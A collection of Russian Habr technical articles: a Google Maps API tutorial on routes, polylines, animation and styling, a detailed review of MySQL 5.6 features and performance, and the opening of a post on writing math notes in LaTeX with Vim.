Многие из нас часто вставляют на свои сайты карты. Обычно, это карта на странице контактов с единственным маркером, которым отмечено место офиса. Но иногда у заказчика включается фантазия и начинается «творчество». В свое время я потратил много времени, чтобы разобраться в постоянно меняющемся Google Maps API и хочу поделиться с вами своими наработками для решения обычных проблем с картами, которые выходят за рамки одного маркера.
Все, что описано ниже, можно узнать внимательно читая документацию GMaps API. Предполагается, что читатель уже умеет внедрять карту, подключать API и ставить маркер. Статья не претендует на полноту изложения, но может быть полезна начинающим пользователям Google Maps API.
#### Маршрут проезда
Довольно часто на карте нужно отметить не только какое-либо место, а еще и способ добраться до него. Сделать это можно несколькими способами. Для всех из них используются полилинии.
##### Вариант 1: Едем на автомобиле
Этот вариант подразумевает под собой прокладку маршрута самим гуглом. Для этого нужно указать откуда ехать, куда и на чем.
```
directionsDisplay = new google.maps.DirectionsRenderer();
var request = {
origin: new google.maps.LatLng(60.023539414725356,30.283663272857666), //точка старта
destination: new google.maps.LatLng(59.79530896374892,30.410317182540894), //точка финиша
travelMode: google.maps.DirectionsTravelMode.DRIVING //режим прокладки маршрута
};
directionsService.route(request, function(response, status) {
if (status == google.maps.DirectionsStatus.OK) {
directionsDisplay.setDirections(response);
}
});
directionsDisplay.setMap(map);
```
Гугл прокладывает маршрут самым удобным, по его мнению, способом. Важный момент: в крупных (да и не очень) городах есть большая разница между направлениями движения. Как по удобству, так и в связи с ограничениями ПДД.
У Гугла доступны четыре режима прокладки маршрута:
• google.maps.TravelMode.DRIVING — Автомобиль
• google.maps.TravelMode.BICYCLING — Велосипед
• google.maps.TravelMode.TRANSIT – Общественный транспорт (работает не везде)
• google.maps.TravelMode.WALKING — Пешеход
А если далеко?
##### Вариант 2: Летим самолетом
У API нет возможности рассчитывать морские и авиамаршруты. Видимо из-за не востребованности. Но иногда все же нужно отобразить какой-либо авиамаршрут на карте. Например, для карты поставок скоропортящегося товара. Исходные данные те же, точка вылета и точка прилета. Для создания этого маршрута нужно просто нарисовать полилинию на карте:
```
route[route.length] = new google.maps.Polyline({
path: [new google.maps.LatLng(16.003575733881323, 101.689453125), new google.maps.LatLng(59.934288, 30.3350336)], //указываем точки старта и финиша
geodesic: true, //устанавливаем флаг геодезической кривой. Так и выглядит лучше и точнее передает кратчайший путь между двумя точками
map: map //устанавливаем на карту
});
```
#### Анимация перемещения на карте
Если у нас на карте есть линия, например, маршрут авиапоставок, то было бы неплохо прикрутить туда анимацию, которая показывает откуда куда летит этот самый самолет.
```
function animate(route) { //функция анимирует каждый первый символ каждой полилинии
var count = 0;
icons = null;
var lnght=route.length;
offsetId = window.setInterval(function() {
count = (count + 1) % 200;
for(var i= 0; i < lnght; i++){
icons = route[i].get('icons');
icons[0].offset = (count / 2) + '%';
route[i].set('icons', icons);
}
}, 40);
}
function initialize() {
... //настройка карты
route[route.length] = new google.maps.Polyline({
path: [new google.maps.LatLng(16.003575733881323, 101.689453125), new google.maps.LatLng(59.934288, 30.3350336)],
geodesic: true,
icons: [{
icon: {path: google.maps.SymbolPath.FORWARD_OPEN_ARROW},
offset: '100%'}],
map: map
});
animateCircle(route);
}
```
#### Как закрасить страну?
Предположим, что вам для каких либо целей нужно закрасить какую-либо страну на карте. Например, чтобы показать страны, в которых вы были. Для этих целей удобно использовать файлы формата KML. Сами файлы с контурами стран можно взять [здесь](http://www.gelib.com/world-borders.htm) или [здесь](https://www.google.com/fusiontables/DataSource?docid=1-05stFIyjdScUWHcaVr7u6JVDh3SamBIA4rMguc). Редактировать (цвет и т.д. можно в программе Google Earth).
```
var KmlLayer = new google.maps.KmlLayer({
url: 'http://yoursite.com/kml/Kazakhstan.kmz',
map: map
});
```
Здесь код очень простой, описывать его смысла нет. Единственное, что стоит отметить, это то, что путь к файлу должен быть полным, так как его обработкой занимаются сервера гугла.
#### Раскрашиваем карту
Иногда бывает нужно стилизовать карту под внешний вид сайта. Хоть специалисты Гугла и сделали карту, которая устраивает большинство, но есть способ все поменять. Например, для того, чтобы выделенную страну было лучше видно. Для этих целей удобнее всего использовать [мастер стилизации карт](http://gmaps-samples-v3.googlecode.com/svn/trunk/styledmaps/wizard/index.html), который предоставляет Гугл для этих целей. Мастер выдает код в JSON, который можно сразу ставить в скрипт.
```
var styles = [
{
"featureType": "landscape",
"stylers": [
{ "color": "#ffffff" }
]
},{
"featureType": "road",
"stylers": [
{ "lightness": 80 }
]
},{
"featureType": "administrative.locality",
"stylers": [
{ "visibility": "off" }
]
},{
"elementType": "geometry.stroke",
"stylers": [
{ "color": "#000000" },
{ "weight": 0.5 },
{ "lightness": 11 }
]
},{
"featureType": "poi",
"stylers": [
{ "visibility": "off" }
]
}
];
map.setOptions({styles: styles});
```
#### Полезные ссылки
[Сервис для создания KML](http://www.birdtheme.org/useful/v3tool.html). Также позволяет легко получить массив точек для создания полилинии или просто определить координаты.
[Еще один](http://www.doogal.co.uk/polylines.php) генератор полилиний, с возможностью отмены. | https://habr.com/ru/post/197448/ | null | ru | null |
# Переход на MySQL 5.6, а стоит ли?
После выхода новой версии MySQL в начале этого года, многие задумались о том стоит ли на неё переходить с более старых версий. Чтобы ответить на этот вопрос для себя, вначале необходимо понять, а что именно даст этот переход. В этой статье я постараюсь осветить новые, важные для меня, фичи, которые были включены в дистрибутив новой версии, анализ их производительности и работоспособность новой версии, а так же необходимость что-то менять в коде в связи в переписанным оптимизатором. Так как объем изменений действительно очень велик, для каждого пункта дам ссылку на оригинальную статью по тестирования производительности и исключу из описания воду.
#### Начнем с самого интересного — расширения оптимизатора
[Index Condition Pushdown (ICP)](http://dev.mysql.com/doc/refman/5.6/en/index-condition-pushdown-optimization.html) — данная оптимизация производится, если мы получаем доступ к данным в таблице с использованием составного индекса. Если условие на первую часть ключа может быть применено явно, а условие на оставшуюся часть ключа явно применено быть не может к примеру:
* `keypart1 = 1` — предикат доступа, `keypart2 like ‘%value%’` — предикат фильтрации,
* или же наложить на обе части ключа range условие `keypart1 between a and b` — предикат доступа, `keypart2 between c and d` — предикат фильтрации (полное использование индекса для данного типа запросов в качестве предиката доступа в `MySQL` до сих пор не реализовано),
то ранее сервер `MySQL`, после применения предиката доступа, сделал бы переключение на storage engine и, прочитав строку таблицы, применил бы второе условие. С использованием данной опции, этого переключения не будет, конечно если сам storage engine поддерживает `ICP`, на данный момент это `MyISAM` и `InnoDB`, и применение предиката фильтрации будет произведено исключительно на основании данных индекса. В плане будет стоять `Using index condition`.
Согласно [тестированию](http://www.mysqlperformanceblog.com/2012/03/12/index-condition-pushdown-in-mysql-5-6-and-mariadb-5-5-and-its-performance-impact/) производительность при запросе данных из кэша составит порядка 30-50 процентов, при работе же с подсистемой ввода вывода возможно ускорение до 100 раз.
[Multi Range Read (MRR)](http://dev.mysql.com/doc/refman/5.6/en/mrr-optimization.html) — при проведение `Range Scan` с использованием вторичных ключей, для уменьшения количества произвольных дисковых чтений, вначале считываем все необходимые данные из индекса, затем производим сортировку по `ROWID`, и только после этого читаем данные по первичному ключу. В плане, что несомненно замечательно, будет стоять `Using MRR`. Данная операция является балковой. Т.е. применяя предикаты доступа по вторичному ключу — заполняем доступный буфер, и только после этого производим сортировку и чтение данных. Тут уж либо повезло и данные близко друг к другу либо нет. Для распределенных таблиц ситуация ещё лучше но это выходит за рамки этой статьи. В чистом виде данный алгоритм может быть применен при выполнении запроса по одной таблице. В сочетании с [Batch Key Access (BKA)](http://dev.mysql.com/doc/refman/5.6/en/bnl-bka-optimization.html) он так же заметно позволяет ускорить и операции джойнов. По умолчанию флаг `BKA` выключен, его значение, как и любое значение флагов оптимизатора можно посмотреть выполнив запрос `SELECT @@optimizer_switch`. При включение BKA необходимо провести проверки ваших запросов на разных значениях параметра `join_buffer_size` так как именно этот параметр будет использован для вычисления максимального размера буфера. При применении этого замечатльного алгоритма в плане запроса мы увидим `Using join buffer (Batched Key Access)`. Более детальное освещение темы [тут](https://kb.askmonty.org/en/multi-range-read-optimization/). Согласно [результатам тестирования](http://www.mysqlperformanceblog.com/2012/03/21/multi-range-read-mrr-in-mysql-5-6-and-mariadb-5-5/) данная оптимизация может давать значительные ускорения только при условии ввода вывода и работы с диском. В этом случае вы можете получить 10-ти кратное ускорение только с `MRR`. В ряде других синтетических тестов были получены ускорения до 280 раз, при совместном использовании `MRR` и `BKA`. При работе же исключительно с памятью, ускорения вы не получите, что вполне логично, так как данная операция призвана оптимизировать исключительно ввод вывод.
[File Sort Optimization](http://dev.mysql.com/doc/refman/5.6/en/limit-optimization.html) — сортировка по неиндексированной колонке стала значительно более производительна, при соблюдении некоторых условий. Раньше при выполнении данного вида сортировки единственно возможным вариантом была сортировка слиянием. Грубо говоря, данные полученные в результате запроса сохранялись во временную таблицу. После этого для данной таблицы производилась сортировка и возвращались записи удовлетворяющие условию `LIMIT`. Как видно данный алгоритм не очень производителен, особенно если у вас много запросов, возвращающих малое количество строк. Для того чтобы оптимизировать ввод вывод алгоритм был изменен на следующий. Если количество записей полученных в результате выполнения запроса полностью помещается в `sort_buffer_size`, при сканировании таблицы создается очередь. Данная очередь является упорядоченной, и заполняется сразу в момент получения очередной строки результата запроса. Размер очереди `N` (или `M + N` если использована конструкция `LIMIT M, N`). При переполнении очереди лишние данные с конца выкидываются. Таким образом окончание сортировки производится одновременно с окончанием результата запроса, и полностью отсуствуют обращения ко временной таблице. Оптимизатор самостоятельно выбирает стратегию для проведения сортировки. Очередь будет использовна в том случае, когда необходимо больше загрузить процессор, сортировка слиянием когда доступна система ввода вывода.
При проведении [синтетических тестов](http://didrikdidrik.blogspot.co.uk/2011/04/optimizing-mysql-filesort-with-small.html) было получено ускорение в 4 раза. Но так же необходимо понимать что данная оптимизация позволяет снизить нагрузку на подсистему ввода вывода, что положительно скажется на работе всего инстанса.
[Subqueries optimisation](http://dev.mysql.com/doc/refman/5.6/en/subquery-optimization.html)
`postpone materialization` — в основном она касается ускорения построения плана запроса. Ранее при выполнении команды `EXPLAIN` подзапросы используемые в секции `FROM` материализовались для получения по ним статистических данных. Т.е. фактически производилось выполнение данных запросов на БД. Сейчас эта операция не производится, и получить план запроса стало возможно не нагружаю инстанс БД. Однако и время выполнения запросов так же может быть ускорено, к примеру если имеется 2 материализуемых представления в секции `FROM` и первое не вернуло ни одной записи то 2-ое не будет выполнено. Так же во время выполнения запроса, MySQL может самостоятельно проиндексировать полученную материализованную таблицу, если сочтет это необходимым.
`semi-join transformation` — полусоединение может быть использовано для получения данных только из одной таблицы, на основании данных другой таблицы, во всех БД классическим примером является конструкция `EXISTS`. Использования этой оптимизации стало возможно и для конструкции `IN` которая раньше работала из рук вон плохо. Для того чтобы применение этой оптимизации стало возможно необходимо чтобы подзапрос удовлетворял следующим условиям: отсутствие `UNION`, отсутствие `GROUP BY` и `HAVING`, отсутствие `ORDER BY` с ограничением `LIMIT` (по отдельности данные конструкции могут быть использованы). Так же необходимо чтобы количество подзапросов не превышало максимальное количество таблиц допустимое для `JOIN`, так как в противном случае `MySQL` не сможет переписать данный запрос. Оптимизация достигается через переписывание запроса в `SEMI JOIN` или же через представление подзапроса в качестве `VIEW` в конструкции `FROM` и использование оптимизаций для `postpone materialization` описанных выше. Дублирующие записи из финального результата удаляются следующими способами:
* при помощи помещения уникальных результатов финального запроса во временную таблицу (`Start temporary` и `End temporary` в колонке плана `Extra`)
* при помощи применения критерия “первый найденный” на этапе сканирования таблицы из подзапроса (`FirstMatch(tbl_name)` в колонке плана `Extra`)
* при помощи применения оптимизации [Loose Index Scan](http://dev.mysql.com/doc/refman/5.6/en/loose-index-scan.html) (`LooseScan(m..n)` где m и n — части ключа используемые для данной оптимизации)
При материализации и последующем индексировании подзапроса в колонке `select_type` плана запроса будет стоять `MATERIALIZED`. Для понимания как именно был переписан запрос можно использовать стандартную команду `EXPLAIN EXTENDED`. Таким образом вы всегда поймете, как именно был переписан ваш запрос, и была ли применена оптимизация.
Как вы понимаете [переписывание криво написанных запросов](https://kb.askmonty.org/en/table-pullout-optimization/) (раньше за такие запросы я бы оторвал руки, сейчас это стало простительным) может дать просто бешеный прирост производительности, так что проводить тесты на `table pullout` (вынос подзапроса из условия `WHERE` в условие `FROM`) практически лишено смысла, ибо и 1000-и кратный прирост производительности там будет не предел, однако если все ваши запросы написаны корректно, то можете не ждать чего-то экстраординарного от данного вида оптимизаций.
[Статичная статистика для `InnoDB`](http://dev.mysql.com/doc/refman/5.6/en/innodb-performance.html#innodb-persistent-stats)
Наконец-то свершилось. Не знаю откуда, из `Google`, `Percona` или же из самого `Oracle`, но в `MySQL` появилась возможность исключить из построения плана запроса динамический семплинг. Теперь статистика по таблицам и индексам хранится в персистных таблицах. Данный метод сбора статистики включен по умолчанию. При обновление более 10% данных в таблице, статистика по ней пересобирается автоматически (конечно же это можно изменить). Так же сбор статистики можно запустить принудительно командой `ANALYSE`. Для принудительного сброса статистики, когда оптимизатор беспрецендентно тупит, можно вызвать команду `FLUSH TABLE`. Что именно собирается можно наглядно посмотреть в новых таблицах `mysql.innodb_index_stats`, `mysql.innodb_table_stats`. Это конечно не продвинутые оракляные гистограммы, но прогресс на лицо. Теперь планы стали более стабильны с одной стороны, а с другой у администраторов БД появилось новое развлечение: подадай когда статистика в таблице стала неактуальна, найди время простоя, угадай объем семплинга и пересчитай её, тем более как следует из блога разработчиков, статистику можно менять ручками, путем прямых апдейтов. Так же хотелось бы заметить что у меня при проведении тестов, сборщик статистики, видимо работающий в фоновом потоке, не успевал обрабатывать данные. Статистика на протяжении долгого времени оставалась пустой, пока я не запускал её анализ вручную. Анализ статистики для конкретной партиции запустить невозможно по этому приходилось проводить анализ всей партиционированной таблицы, что конечно же не очень удобно. Такая же ситуация возникает если провести активный DML и положить базу. Данные будут — статистики нет. Но думаю это исключительные ситуации и штатной работе базы данных они мешать не будут.
В качестве [вывода](http://www.percona.com/files/presentations/percona-live/PLMCE2012/PLMCE2012-MySQL-5.6-vs-MariaDB-5.5-Optimizer-Standoff.pdf) по оптимизатору считаю нелишним заметить, что оптимизатор Maria DB 5.5 по заключению специалистов является более навороченным, однако в версии MySQL 5.6 ряд аналогичных оптимизаций позволяет добиться более высокой производительности.
#### Больше мьютексов хороших и разных
Как всем хорошо известно MySQL не достаточно хорошо масштабируется на большое количество процессоров при большом количестве одновременно выполняемых транзакций. Причиной всему внутренние блокировки, в частности `kernel mutex`, а так же принципиальные проблемы при работе с памятью в многоядерной архитектуре. `Kernel mutex`, удерживаемый на время копирования списка активных транзакций, был разделен на несколько мьютексов, для неблокирущих и блокирующий транзакций, блокировок, ожиданий блокировок и т.д. Так же была решена проблема `false sharing`’а, когда одно ядро подгружало необходимые ему неизменяемые данные, а другое необходимые ему изменяемые в одном `cacheline`, и как результат данные для первого ядра все время вымывались из кэша. Теперь для ряда критических объектов [введено выравнивание](http://mikaelronstrom.blogspot.ru/2012/04/mysql-team-increases-scalability-by-50.html) в 64 байта.
Согласно блогам разработчиков `MySQL` стал масштабироваться на 50% лучше для `read only` транзакций. А прирост производительности при увеличении количества активных сессий составил до 600% по сравнению с предыдущей версией. При проведении независимых нагрузочных тестов, до 16 одновременных сессий — скорость работы не изменилась, выше — до 100% для смешанных транзакций на чтение запись и до 300% для транзакций read-only.
#### Оптимизация сброса UNDO
Теперь стало возможно сбрасывать UNDO параллельно. Для этого необходимо выставить параметр `innodb_purge_threads` в значени больше 1. Экспериментировать с этим параметром на промышленной БД будет разумно только тем, кто параллельно удаляет много данных из партиционированных таблиц. Улучшения производительности для тех кто не использует партиционирование или использует партиции для причин отличных от параллельного DML, к примеру архивирование, при котором DML операции производятся только с одной партицией, не будет, так как при сбросе данных вы повисните на блокировке `dict_index_t::lock`. Для них рекомендуется, как и раньше, просто выделить сброс данных в один, отдельный от основного, поток.
#### Оптимизация сброса грязных блоков
Как известно сброс грязных блоков из памяти одно из самых проблемных мест для любой версионной базы данных. Сброс необходимой части блоков на диск может быть осуществлен либо главным `InnoDB Master Thread`, и тогда будут ждать все, или, как в основном и бывает фоновым потоком, команду на сброс которому подаст конкретная сессия, и тогда эта сессия зависнет на неопределенное время, а остальные сесси заблокированы не будут. Для избежания проблем как в первом так и во втором случае был создан отдельный тред названный `page_cleaner`. Детальную информацию чем занят данный поток можно посмотреть [тут](http://dev.mysql.com/doc/refman/5.6/en/innodb-metrics-table.html)
```
select name, comment from information_schema.innodb_metrics where name like 'buffer_flush_%';
```
Теперь сброс блоков действительно стал выполняться асинхронно. Если вы решите поиграть параметрами сброса блоков рекомендую так же обратить внимание на новые параметры оптимизации `LRU flush` так как данные параметры, согласно [заключению](http://itnewscast.com/database/configuring-innodb-mysql-56-innodbiocapacity-innodblruscandepth) разработчиков `MySQL`, могут косвенно влиять друг на друга.
Сброс блоков был одаптирован под SSD диски. Эта туманная фраза обозначает следующее. Как мы знаем кэширование блоков происходит страницами. 64 страницы образуют экстент. Соседями приянто называть эти самые последовательные страницы в рамках одного экстента. Раньше `InnoDB` при изменении страниц пытался набрать целый экстент для сброса данных на диск для оптимизации ввода вывода, так как для HDD один мегабайт является оптимальным размером, что позволяет выполнить операцию за одно обращение к диску. Для SSD возможен размер сброса всего 4 килобайта, так что набирать что либо лишено смысла. В добавок сбрасывать неизмененные страницы тоже лишено смысла. Так что обладателям новомодного железа можно поиграть с [параметром](http://dev.mysql.com/doc/refman/5.6/en/innodb-parameters.html#sysvar_innodb_flush_neighbors).
В качестве вывода не лишне было бы заметить результаты [вот этого теста](http://mysqlha.blogspot.ru/2013/05/mysql-56-flushing-potential.html).
Как видно из графиков при работе с кэшем новая версия с оптимизированным сбросом, проигрывает `MySQL 4.0.30` (причины выбора столько древней версии мне не известны) при малом количестве сессий, зато показывает на порядок лучший результат при масштабировании.
При работе же с файловой системой результаты не столько впечатляющие и обе версии иду ноздря в ноздрю и MySQL 5.6 местами даже проигрывает. Однако согласно заключению автора, при выходе `5.6.12`, данный недостаток будет устранен, и производительность скакнет в 3 раза. Т.е. для тех у кого проблемы с большим вводом выводом и активный сброс буферов на диски, стоит подождать выхода следующей версии, будет вам счастье.
#### InnoDB: ALTER TABLE… ONLINE
Все дифирамбы данной технологии можно смело охарактеризовать двумя словами — **банальная реклама**. Согласно заявлениям разработчиков данная команда [была переписана чуть более чем полностью](https://blogs.oracle.com/mysqlinnodb/entry/online_alter_table_in_mysql) однако получить от этого какие-то существенные преимущества у команды `InnoDB-engine` не вышло. В `online` выполняется всего лишь ограниченное число крайне редкий операций, да ещё и с ограничениями. Понять что операция прошла `online` очень легко. В результате выполнения запроса вы получите
```
Query OK, 0 rows affected
```
И так что же можно:
* `CREATE INDEX, DROP INDEX` — все мы привыкли что выполнение данных команд, не выполняет полное копирование таблицы однако блокирует обновление данных в ней. Это связано с тем, что построение индекса ранее производилось непосредственно по таблице и обладало, на момент сортировки и слияния, полным набором данных, что позволяет создать максимально сбалансированное индексное дерево. Теперь же на момент создания индекса на таблицу вешается блокировка только на чтение. Новые данные поступающие или исчезающие из таблицы попадают в специальный лог файл, созданный по аналогии со структурой `change buffer`, размер файла регулируется переменной `innodb-online-alter-log-max-size`. После проведения сортировки и слияния (размер буфера сортировки регулируется переменной `innodb-sort-buffer-size`) данные для нового индекса балком флашаться в `REDO` логи, после чего производится докат залогированых изменений. Вуаля и индекс доступен для использования. С одной стороны это не блокирует таблицу, с другой структура созданного индекса будет не настолько идеальна как в первом случае, да и его создание в случае активного `DML` таблицы может сильно затянуться, но это конечно же мелочи.
* Изменение `auto-increment` значения для таблицы — несомненно полезно для тех пользователей, кто использует самописный шардинг производящий разделение данных по инстансам на основании значения первичного ключа.
* `DROP FOREIGN KEY` — только удаление, добавление констрейнта пока не осилили, но в качестве бонуса разрешили удалять констрейнт и связанный с ним индекс одной коммандой.
```
ALTER TABLE table DROP FOREIGN KEY constraint, DROP INDEX index;
```
Справедливое замечание от сотрудника отдела поддержки MySQL [svetasmirnova](https://habrahabr.ru/users/svetasmirnova/): «Добавлять тоже можно, только при выключенных `foreign_key_checks`», в этом случае таблица скопирована не будет
* Переименование колонки — `online` возможен только если не производится изменение типа данных. Изменяются только данные словаря. Опять же в качестве бонуса разрешили переименовывать колоки являющиеся частью внешнего ключа.
Ну вот собственно и все. Как видно из описания **возможности предоставленные нам крайне скудны**, будем надеяться, что в будущем ситуация улучшиться и изменения больших таблиц можно будет проводить без танцев с бубном, которые связаны с полным копированием таблицы при выполнении любой (с `MySQL 5.6` читаем любой за исключением 5-ти) `DDL` команды.
#### Партиционирование
Был существенно переработан партиционный движок. Теперь выбор партиций на обработку выполняется раньше чем открытие таблиц и установка блокировок. Вот анализ ввода вывода при тривиальном запросе по партиционному ключу.
```
select count(1)
from part_table
where partition_key = 190110;
+----------+
| count(1) |
+----------+
| 500 |
+----------+
1 row in set (0.50 sec)
```
Ввод вывод и пул буферов
```
select count(distinct file_name) file_name_count,
sum(sum_number_of_bytes_read) sum_number_of_bytes_read,
min(substring_index(file_name, '/', -1)) min_file_name,
max(substring_index(file_name, '/', -1)) max_file_name
from performance_schema.file_summary_by_instance
where file_name like '%part_table%.ibd' and count_read + count_write > 0
order by 1;
-- Server version: 5.5
+-----------------+--------------------------+------------------------------------+------------------------------------+
| file_name_count | sum_number_of_bytes_read | min_file_name | max_file_name |
+-----------------+--------------------------+------------------------------------+------------------------------------+
| 1024 | 107692032 | part_table#P#part_table_184609.ibd | part_table#P#part_table_190110.ibd |
+-----------------+--------------------------+------------------------------------+------------------------------------+
-- Server version: 5.6
+-----------------+--------------------------+------------------------------------+------------------------------------+
| 1 | 98304 | part_table#P#part_table_190110.ibd | part_table#P#part_table_190110.ibd |
+-----------------+--------------------------+------------------------------------+------------------------------------+
select min(table_name) min_table_name,
max(table_name) max_table_name,
count(distinct table_name) file_name_count,
sum(data_size) pool_size
from information_schema.innodb_buffer_page
where table_name like '%part_table%';
-- Server version: 5.5
+--------------------------------------+--------------------------------------+-----------------+-----------+
| min_table_name | max_table_name | file_name_count | pool_size |
+--------------------------------------+--------------------------------------+-----------------+-----------+
| test/part_table#P#part_table_184609 | test/part_table#P#part_table_190110 | 1024 | 26567424 |
+--------------------------------------+--------------------------------------+-----------------+-----------+
-- Server version: 5.6
+--------------------------------------+--------------------------------------+-----------------+-----------+
| Partition `part_table_190110` | Partition `part_table_190110` | 1 | 32048 |
+--------------------------------------+--------------------------------------+-----------------+-----------+
```
Как видно в отличии от версии 5.5 статистика анализируется не по всем партициям указанной таблицы, а только по той которая соответствует условию. Что исключает подгрузку остальных партиций в буферный пул.
По блокировкам ничего пока не понятно, так как очень сильно поменялся сам алгоритм парсинга и ожидания выполнения запроса, из того что бросается в глаза, самый горячий мьютекс `wait/synch/mutex/mysys/THR_LOCK::mutex` ранее блокируемый для каждой партиции стал использоваться гораздо реже, т.е. при запросе по одной партиции он блокируется не столько раз сколько всего партиций в данной таблице умножить на два, а всего один, что несомненно большой плюс. Других блокировок с похожим агрессивным поведением мне найти пока не удалось. Судя по всему проблемы движка указанные в [посте](http://habrahabr.ru/post/130999/) были устранены (для получения списка партиций, без самостоятельного их ведения, можно использовать таблицу `mysql.innodb_table_stats`, запись в нее добавляется в момент создания партиции, реальна статистика появляется позднее). Так же из приятного можно отметить повышение ограничения на максимально возможное количество партиций для одной таблицы. Так как нареканий к движку, лично у меня, больше не осталось, не лишне заметить, что партиции созданы для параллельной обработки, ждем `hint parallel(n)` для партиционированных таблиц.
#### Архивирование и восстановление
В новой версии было добавлено сразу две очень ожидаемые фичи для InnoDB:
`EXCHANGE PARTITION`
```
ALTER TABLE part_table EXCHANGE PARTITION p1 WITH TABLE non_part_table;
```
Все стандартно: таблицы должны иметь полностью идентичную структуру, включая индексы и `storage engine`, так же необходимо чтобы данные в непартиционированной таблице не выходили за пределы обмениваемой партиции.
`Transportable Tablespaces`
Как вы знаете просто так подменить `.ibd` файл и ожидать что у вас появятся данные — не прокатит. Так как необходимо учесть: `REDO` логи, словарь данных, системные колонки, метаданные табличного пространства и наверное ещё много чего. Для таких манипуляций теперь предусмотрено ряд комманд:
на БД экспорта
— `FLUSH TABLES table_one, table_two FOR EXPORT;`
— копируем `.ibd` и сгенерированный файл конфигурации из директории БД
на БД импорта
— создаем пустую таблицу аналогичной структуры
— `ALTER TABLE table_one DISCARD TABLESPACE;`
— копируем `.ibd` и сгенерированный файл конфигурации в директорию БД
— `ALTER TABLE table_one IMPORT TABLESPACE;`
Операции выполняется за счет словаря данных, а значит максимально быстро.
#### Performance Schema
Схемы диагностики производительности была заметно улучшена. Во первых её работа стала в три раза быстрее, т.е. просадка производительности при её включении теперь составляет не 10% а всего 3.5%, что позволило делать её включенной по умолчанию. По мимо этого теперь в схеме не 17 таблиц как ранее, а 52. Изменений как вы понимаете очень много, и если описывать их всех потребуется отдельная статья, по этому выделю лишь ключевые, по моему мнению, полезности откинув настройку и введение.
* стало можно трейсить непосредственно запросы
```
show tables like '%statements%';
+----------------------------------------------------+
| Tables_in_performance_schema (%statements%) |
+----------------------------------------------------+
| events_statements_current |
| events_statements_history |
| events_statements_history_long |
| events_statements_summary_by_account_by_event_name |
| events_statements_summary_by_digest |
| events_statements_summary_by_host_by_event_name |
| events_statements_summary_by_thread_by_event_name |
| events_statements_summary_by_user_by_event_name |
| events_statements_summary_global_by_event_name |
+----------------------------------------------------+
9 rows in set (0.01 sec)
```
* трассировка выполняется на уровне строк как для постоянных таблиц так и для временных (хотя у меня почему то объектов с `object_type= 'TEMPORARY TABLE'` в схемах нет, вероятно что-то не сумел настроить, но персистные таблицы все присутствуют)
```
select digest_text, sum_rows_affected, sum_rows_sent, sum_rows_examined from events_statements_summary_by_digest;
+---------------------------------------+-------------------+---------------+-------------------+
| digest_text | sum_rows_affected | sum_rows_sent | sum_rows_examined |
+---------------------------------------+-------------------+---------------+-------------------+
| SHOW VARIABLES | 0 | 4410 | 4410 |
...
| SET NAMES utf8 | 0 | 0 | 0 |
+---------------------------------------+-------------------+---------------+-------------------+
48 rows in set (0.00 sec)
```
* ожидания можно смотреть целиком по всей сессии
```
show tables like '%by_thread%';
+---------------------------------------------------+
| Tables_in_performance_schema (%by_thread%) |
+---------------------------------------------------+
| events_stages_summary_by_thread_by_event_name |
| events_statements_summary_by_thread_by_event_name |
| events_waits_summary_by_thread_by_event_name |
+---------------------------------------------------+
3 rows in set (0.00 sec)
```
* можно мониторить временные таблицы, при чем как их создание в оперативной памяти, так и на диске, что позволит найти наиболее затратные запросы и выставить для них параметры сессии индивидуально
```
select digest_text, sum_created_tmp_disk_tables, sum_created_tmp_tables from events_statements_summary_by_digest;
+--------------------------------------------------------+-----------------------------+------------------------+
| digest_text | sum_created_tmp_disk_tables | sum_created_tmp_tables |
+--------------------------------------------------------+-----------------------------+------------------------+
| SHOW VARIABLES | 0 | 10 |
...
| SELECT `routine_schema` , `specific_name` FROM INF... | 2 | 2 |
...
| SHOW TABLE STATUS FROM `performance_schema` LIKE | 0 | 52 |
+--------------------------------------------------------+-----------------------------+------------------------+
49 rows in set (0.00 sec)
```
* больше конкретики, данные привели в удобоваримый вид, схема стала понятнее и проще
```
show tables like 'table%waits%sum%';
+-------------------------------------------------+
| Tables_in_performance_schema (table%waits%sum%) |
+-------------------------------------------------+
| table_io_waits_summary_by_index_usage |
| table_io_waits_summary_by_table |
| table_lock_waits_summary_by_table |
+-------------------------------------------------+
3 rows in set (0.01 sec)
```
Для заинтересовавшихся могу порекомендовать [вот это](http://www.percona.com/webinars/using-mysql-56-performance-schema-troubleshoot-typical-workload-bottlenecks), думаю вебинар будет полезен как для начинающих, так и для знакомых с этой схемой с версии 5.5, так как изменений очень много. Так же от себя добавлю, что, так как схема теперь включена по умолчанию её настройки очень скромны. К примеру в основной таблице для 5.5 `events_waits_history_long` всего 100 записей, а так как все эти параметры статические и их изменение требует перезапуск инстанса, то лучше заранее определится с вашими настройками.
#### Заключение
В качестве заключения позволю себе привести вывод Петра Зайцева озвученный в [его недавней статье](http://www.mysqlperformanceblog.com/2013/02/18/is-mysql-5-6-slower-than-mysql-5-5/). По итогам синтетических тестов `MySQL 5.6` медленнее предыдущей версии `MySQL 5.5` на 7.5-11 процентов при нагрузке в один поток и на 11-26 процентов при нагрузке в 64 потока, что в корне разнится с [официальной версией](http://dev.mysql.com/tech-resources/articles/mysql-5.6.html). Т.е. все переписали оптимально, но получить прирост производительности не смогли. При всех оптимизациях озвученных выше, вывод просто феноменален, но конечно же вам лучше проверить вашу среду самостоятельно. К примеру для нас критическим местом является вызов процедур. Для этого мы пользуемся самописным открытым фреймворком, из разработчиков на хабре присутствует [esinev](https://habrahabr.ru/users/esinev/), [jbdc-proc](https://code.google.com/p/jdbc-proc/). Замер попугаев выглядит следующим образом.
Как видно прирост производительности на наших серверах мы не получаем, даже наоборот наблюдается падение попугаев до 20%, однако, устанавливая новую версию, мы получаем большое количество средств диагностики, которые позволят нам легче находить узкие места. Помимо этого уже сейчас понятно, что MySQL идет в верном направлении, и подождав пару версий, чтобы убедиться в стабильности, мы планируем подъем версии. | https://habr.com/ru/post/179481/ | null | ru | null |
# Как я пишу конспекты по математике на LaTeX в Vim
Некоторое время назад на Quora я отвечал на вопрос: [как успевать записывать за лектором конспект по математике на LaTeX](https://www.quora.com/Can-people-actually-keep-up-with-note-taking-in-Mathematics-lectures-with-LaTeX/answer/Gilles-Castel-1). Там я объяснил свой рабочий процесс по конспектированию в LaTeX с помощью Vim и Inkscape (для рисунков). Но с тех пор многое изменилось, так что я хочу опубликовать несколько постов в блоге с описанием нового процесса. Это первая из статей.
Я начал использовать LaTeX для конспектирования во втором семестре курса математики, и с тех пор написал более 1700 страниц. Вот несколько примеров, как выглядит конспект:
[](https://castel.dev/static/ba66c52b01c8fe6b31c97af52b5eb7f7/a4de1/ca1.png)
[](https://castel.dev/static/1a393ac73dbb96f6fbd98b258e8a325a/a4de1/ca2.png)
